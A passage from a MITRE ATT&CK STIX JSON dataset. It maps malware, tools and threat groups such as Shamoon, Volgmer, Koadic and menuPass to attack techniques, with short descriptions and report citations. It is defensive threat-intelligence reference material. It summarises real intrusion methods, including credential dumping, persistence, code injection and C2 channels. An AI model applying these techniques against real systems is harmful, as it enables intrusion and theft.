                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.463Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bd8fec61-37c8-489b-a74b-424ff85222ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) stores the encoded configuration file in the Registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Security</code>.(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-10-15T22:51:02.959Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a403648d-4c23-46bd-9688-1face1407b42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) communicates via DNS for C2.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T02:37:58.945Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) copies an executable payload to the target system by using [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) and then scheduling an unnamed task to execute the malware.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2021-02-09T13:42:15.362Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--417552c3-3db4-491a-86bb-7fe2c513d406",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) has a function to delete files from the victim\u2019s machine.(Citation: jRAT Symantec Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.331Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "type": "relationship",
            "modified": "2020-03-20T14:28:39.681Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses a function to obfuscate the name of functions and other parts of the malware.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.817Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a1e9769e-5172-4959-84d3-5a28796f86e1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) runs tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.669Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools (such as Mimikatz and WCE) to perform credential dumping.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T22:24:36.134Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7a30e6e7-ed64-47b1-b368-c1cec96d5fbf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) contains keylogging functionality to steal passwords.(Citation: Alienvault Sykipot DOD Smart Cards)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Alienvault Sykipot DOD Smart Cards",
                    "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.610Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bc838675-63af-45c5-9a30-081b5f5ac0d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If the victim is using PowerShell 3.0 or later, [POWERSOURCE](https://attack.mitre.org/software/S0145) writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in <code>%PROGRAMDATA%\\Windows\\</code>.(Citation: Cisco DNSMessenger March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
                }
            ],
            "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "type": "relationship",
            "modified": "2020-03-30T17:17:35.483Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d1ee6feb-91cb-4cac-ae57-e71358af29c2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can compress data with Zip before sending it over C2.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:41:22.009Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f32e0356-d326-4dd7-9c5f-4c1c304d8862",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Rundll32 to execute additional payloads.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-16T16:55:04.435Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b4b71687-5aed-4cde-ba59-c37bb5231878",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ELMER](https://attack.mitre.org/software/S0064) uses HTTP over port 443 for command and control.(Citation: FireEye EPS Awakens Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--82e1ab81-89f9-4d96-87fd-69d04c6710f3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used a batch script to gather folder and file names from victim hosts.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.460Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) uses command-line interaction to search files and directories.(Citation: Villeneuve et al 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-22T15:08:48.438Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--2445349c-0bdb-40a7-acca-03f3908b1f35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KARAE](https://attack.mitre.org/software/S0215) was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2020-03-20T21:14:12.095Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bfdffca9-6418-486d-833f-84f3920fcb71",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can execute PowerShell scripts.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736"
        },
        {
            "id": "relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic is Base64-encoded plaintext.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:16:27.487Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples install themselves as services for persistence by calling WinExec with the <code>net start</code> argument.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T18:13:29.305Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--99a96ac0-c93d-488b-8439-04d97716682c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used legitimate access granted to Managed Service Providers in order to access victims of interest.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Symantec Cicada November 2020)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                },
                {
                    "source_name": "DOJ APT10 Dec 2018",
                    "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion",
                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925",
            "type": "relationship",
            "modified": "2020-12-17T16:16:08.761Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list running processes.(Citation: Palo Alto Networks BBSRAT)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.383Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9e8f8dce-1921-4738-ae7f-30290a350cf2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) avoids analysis by encrypting all strings, internal files, configuration data and by using a custom executable format.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-08-17T14:08:26.361Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T03:01:04.825Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fc572a1d-a44d-4588-b31d-1c54116d12f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) adds a .lnk file to the Windows startup folder.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.652Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--93addaa1-7baa-4fdd-ab92-3e58865a5ef2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) can overwrite Registry settings to reduce its visibility on the victim.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.231Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--02e3008d-1b2b-4824-b715-d6d8335cc4b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of injecting code into the APC queue of a created [Rundll32](https://attack.mitre.org/techniques/T1218/011) process as part of an \"Early Bird injection.\"(Citation: CyberBit Early Bird Apr 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "source_name": "CyberBit Early Bird Apr 2018"
                }
            ],
            "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
            "type": "relationship",
            "modified": "2021-02-09T15:25:33.216Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e1269d18-6cc9-45cc-9c99-06f765bea366",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
